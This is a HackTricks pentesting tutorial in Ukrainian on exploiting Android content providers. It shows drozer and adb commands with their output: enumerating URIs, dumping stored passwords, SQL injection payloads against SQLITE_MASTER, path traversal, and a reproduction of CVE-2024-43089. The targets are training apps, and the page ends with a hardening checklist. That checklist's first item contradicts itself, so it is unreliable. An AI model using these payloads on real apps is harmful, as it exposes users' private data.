Exploiting Content Providers
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Intro
Дані постачаються з одного додатку до інших за запитом компонента, відомого як content provider. Ці запити керуються через методи класу ContentResolver. Content providers можуть зберігати свої дані в різних місцях, таких як база даних, файли або через мережу.
У файлі Manifest.xml декларація content provider є обов'язковою. Наприклад:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Щоб отримати доступ до content://com.mwr.example.sieve.DBContentProvider/Keys
, необхідно мати дозвіл READ_KEYS
. Цікаво відзначити, що шлях /Keys/
доступний у наступному розділі, який не захищений через помилку розробника, який захистив /Keys
, але оголосив /Keys/
.
Можливо, ви зможете отримати доступ до приватних даних або експлуатувати якусь вразливість (SQL Injection або Path Traversal).
Отримати інформацію з вразливих провайдерів контенту
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Можливо зібрати інформацію про те, як досягти DBContentProvider, починаючи URI з “content://”. Цей підхід базується на висновках, отриманих під час використання Drozer, де ключова інформація знаходилася в /Keys каталозі.
Drozer може вгадувати та пробувати кілька URI:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Вам також слід перевірити код ContentProvider, щоб знайти запити:
Також, якщо ви не можете знайти повні запити, ви можете перевірити, які імена оголошені ContentProvider в методі onCreate
:
Запит буде виглядати так: content://name.of.package.class/declared_name
Content Providers на основі бази даних
Ймовірно, більшість Content Providers використовуються як інтерфейс для бази даних. Тому, якщо ви можете отримати до неї доступ, ви зможете витягувати, оновлювати, вставляти та видаляти інформацію.
Перевірте, чи можете ви отримати доступ до чутливої інформації або спробуйте змінити її, щоб обійти механізми авторизації.
Перевіряючи код Content Provider, зверніть увагу також на функції, названі так: query, insert, update та delete:
Оскільки ви зможете їх викликати
Запит контенту
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insert content
Запитуючи базу даних, ви дізнаєтеся назви стовпців, тоді ви зможете вставити дані в БД:
Зверніть увагу, що при вставці та оновленні ви можете використовувати --string для вказівки рядка, --double для вказівки дійсного числа, --float, --integer, --long, --short, --boolean
Update content
Знаючи назви стовпців, ви також можете модифікувати записи:
Delete content
SQL Injection
Простий спосіб перевірити SQL-ін'єкцію (SQLite) - це маніпулювати projection та selection fields, які передаються постачальнику контенту.
При запиті до постачальника контенту є 2 цікаві аргументи для пошуку інформації: --selection та --projection:
Ви можете спробувати зловживати цими параметрами для перевірки SQL-ін'єкцій:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Автоматичне виявлення SQL-ін'єкцій за допомогою Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Content Providers, що базуються на файловій системі
Content providers також можуть бути використані для доступу до файлів:
Читати файл
Ви можете читати файли з Content Provider
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Перехід по шляху
Якщо ви можете отримати доступ до файлів, ви можете спробувати зловживати Перехідом по шляху (в даному випадку це не є необхідним, але ви можете спробувати використовувати "../" та подібні трюки).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Автоматичне виявлення обходу шляхів за допомогою Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 Оновлення та сучасні поради
Drozer 3.x (Python 3) вийшов
WithSecure відновила підтримку drozer у 2022 році та перенесла фреймворк на Python 3 (остання версія 3.1.0 – квітень 2024). Окрім виправлень сумісності, нові модулі, які особливо корисні при роботі з Content Providers, включають:
scanner.provider.exported
– перелік лише провайдерів зandroid:exported="true"
.app.provider.grant
– автоматично викликаєgrantUriPermission()
, щоб ви могли спілкуватися з провайдерами, які очікуютьFLAG_GRANT_READ_URI_PERMISSION
/FLAG_GRANT_WRITE_URI_PERMISSION
на Android 12+.- Краще оброблення Scoped Storage, щоб файлові провайдери на Android 11+ все ще могли бути доступні.
Оновлення (хост та агент):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
Використання вбудованого cmd content
допоміжного засобу (ADB ≥ 8.0)
Усі сучасні пристрої Android постачаються з CLI, який може запитувати/оновлювати провайдери без встановлення будь-якого агента:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
Об'єднайте це з run-as <pkg>
або кореневою оболонкою, щоб протестувати провайдери, доступні лише всередині.
Останні реальні CVE, які зловживали Провайдерами Контенту
CVE | Рік | Компонент | Клас помилки | Вплив |
---|---|---|---|---|
CVE-2024-43089 | 2024 | MediaProvider | Перехід по шляху в openFile() | Читання довільного файлу з приватного сховища будь-якого додатку |
CVE-2023-35670 | 2023 | MediaProvider | Перехід по шляху | Розкриття інформації |
Відтворіть CVE-2024-43089 на вразливій збірці:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
Чек-лист посилення для API 30+
- Оголосіть
android:exported="false"
, якщо провайдер необхідно зробити публічним – з API 31 цей атрибут є обов'язковим. - Застосовуйте дозволи та/або
android:grantUriPermissions="true"
замість експорту всього провайдера. - Додайте до білого списку дозволені аргументи
projection
,selection
таsortOrder
(наприклад, створюйте запити зSQLiteQueryBuilder.setProjectionMap
). - У
openFile()
канонізуйте запитуваний шлях (FileUtils
) і відхиляйте послідовності..
, щоб запобігти обходу. - При відкритті файлів надавайте перевагу Storage Access Framework або
FileProvider
.
Ці зміни в останніх версіях Android означають, що багато застарілих експлуатаційних примітивів все ще працюють, але вимагають додаткових прапорців/дозволів, які оновлені модулі drozer або допоміжна програма cmd content
можуть застосувати автоматично.
Посилання
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.